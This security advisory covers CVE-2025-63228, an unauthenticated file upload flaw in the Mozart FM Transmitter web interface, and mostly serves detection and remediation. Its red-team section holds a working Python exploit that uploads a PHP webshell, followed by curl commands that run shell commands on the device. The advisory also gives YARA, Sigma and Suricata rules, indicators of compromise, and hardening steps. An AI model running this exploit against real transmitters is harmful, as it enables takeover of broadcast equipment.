CVE-2025-63228

Executive Summary

CVE-2025-63228 is a critical unauthenticated file upload vulnerability in the Mozart FM Transmitter web management interface, specifically version WEBMOZZI-00287. The flaw resides in the /upload_file.php endpoint, which allows an attacker to upload arbitrary files (e.g., a PHP webshell) without authentication. The uploaded file is stored in the /upload/ directory, enabling remote code execution (RCE) and full system compromise. With a CVSS score of 10.0 (Critical), this vulnerability poses an immediate threat to broadcast infrastructure. No patch is currently available, and public proof-of-concept (PoC) code exists.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary embedded web interface for the Mozart FM Transmitter hardware.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. Exploitation requires no authentication and can be performed remotely, leading to full device takeover.

Deep Dive & Mechanics

The vulnerability exists in the /upload_file.php endpoint of the Mozart FM Transmitter web management interface. The endpoint fails to validate the file type, size, or content, and does not require authentication. An attacker can send a POST request with a multipart/form-data payload containing a malicious file (e.g., a PHP webshell). The server stores the file in the /upload/ directory without sanitization. Once uploaded, the attacker can access the file via HTTP and execute arbitrary PHP code, gaining full control over the transmitter.

Root Cause: Lack of input validation and authentication on the file upload functionality.

Attack Flow:

1. Attacker identifies a target Mozart FM Transmitter with the web interface exposed.
2. Attacker crafts a POST request to /upload_file.php with a PHP webshell.
3. The server stores the file in /upload/.
4. Attacker accesses the uploaded file via HTTP (e.g., http://target/upload/shell.php).
5. Attacker executes commands on the server, achieving RCE.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
// /upload_file.php (vulnerable)
$target_dir = "/upload/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
?>

Patched Code (Conceptual):

<?php
// /upload_file.php (patched)
session_start();
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
    die("Unauthorized.");
}
$allowed_types = ['image/jpeg', 'image/png', 'application/pdf'];
$max_size = 5 * 1024 * 1024; // 5MB
$target_dir = "/upload/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$file_type = mime_content_type($_FILES["file"]["tmp_name"]);
if (!in_array($file_type, $allowed_types)) {
    die("Invalid file type.");
}
if ($_FILES["file"]["size"] > $max_size) {
    die("File too large.");
}
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "File uploaded successfully.";
} else {
    echo "Upload failed.";
}
?>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target Mozart FM Transmitter with web interface accessible.
• Python3 and requests library.

Exploit Script:

#!/usr/bin/env python3
import requests
import sys

if len(sys.argv) != 2:
    print(f"Usage: {sys.argv[0]} <target_ip>")
    sys.exit(1)

target = sys.argv[1]
upload_url = f"http://{target}/upload_file.php"
shell_url = f"http://{target}/upload/shell.php"

# PHP webshell payload
payload = '<?php system($_GET["cmd"]); ?>'
files = {'file': ('shell.php', payload, 'application/x-php')}

print(f"[*] Uploading webshell to {upload_url}")
r = requests.post(upload_url, files=files)
if r.status_code == 200:
    print(f"[+] Webshell uploaded to {shell_url}")
    print(f"[*] Example command: curl {shell_url}?cmd=id")
else:
    print(f"[-] Upload failed. HTTP {r.status_code}")

Usage:

python3 exploit.py 192.168.1.100
curl "http://192.168.1.100/upload/shell.php?cmd=id"

Blue Team (Detection & Hardening)

Detection Steps:

1. Monitor HTTP POST requests to /upload_file.php from unauthenticated sources.
2. Alert on new files in /upload/ directory with .php, .phtml, .php5 extensions.
3. Check web server logs for suspicious file uploads.

Hardening:

• Restrict access to the web interface to trusted IPs only.
• Implement authentication on all upload endpoints.
• Disable PHP execution in the /upload/ directory via .htaccess:

  <FilesMatch "\.php$">
      Deny from all
  </FilesMatch>
  

• Use a Web Application Firewall (WAF) to block malicious file uploads.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /upload_file.php with Content-Type: multipart/form-data.
• HTTP requests to /upload/shell.php or similar paths.
• Outbound connections from the transmitter to unknown IPs (C2).

File IOCs:

• Files in /upload/ with .php, .phtml, .php5 extensions.
• Webshell content: <?php system($_GET["cmd"]); ?> or similar.

System IOCs:

• Unexpected processes (e.g., reverse shells).
• Modified system binaries or configuration files.

Detection Engineering

YARA Rule

rule CVE_2025_63228_Webshell {
    meta:
        description = "Detects PHP webshells uploaded via CVE-2025-63228"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63228"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $cmd_param = "$_GET[\"cmd\"]"
        $post_param = "$_POST[\"cmd\"]"
    condition:
        $php_tag and ($system_call or $cmd_param or $post_param)
}

Sigma Rule

title: Unauthenticated File Upload to Mozart FM Transmitter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /upload_file.php without authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/upload_file.php'
    condition: selection
falsepositives:
    - Legitimate firmware updates (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63228 - Unauthenticated File Upload to Mozart FM Transmitter"; flow:to_server; http.method; content:"POST"; http.uri; content:"/upload_file.php"; http.request_body; content:"filename="; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Mozart FM Transmitter from the internet and untrusted networks.
2. Restrict access to the web management interface via firewall rules (allow only trusted IPs).
3. Disable PHP execution in the /upload/ directory if possible.

Long-term Fix:

• Vendor must release a firmware update that implements authentication and input validation on the /upload_file.php endpoint.
• Until a patch is available, consider replacing the device or using a reverse proxy with WAF capabilities.

Workaround:

• Remove or rename the /upload_file.php file if not needed.
• Monitor logs for exploitation attempts.

Valters IT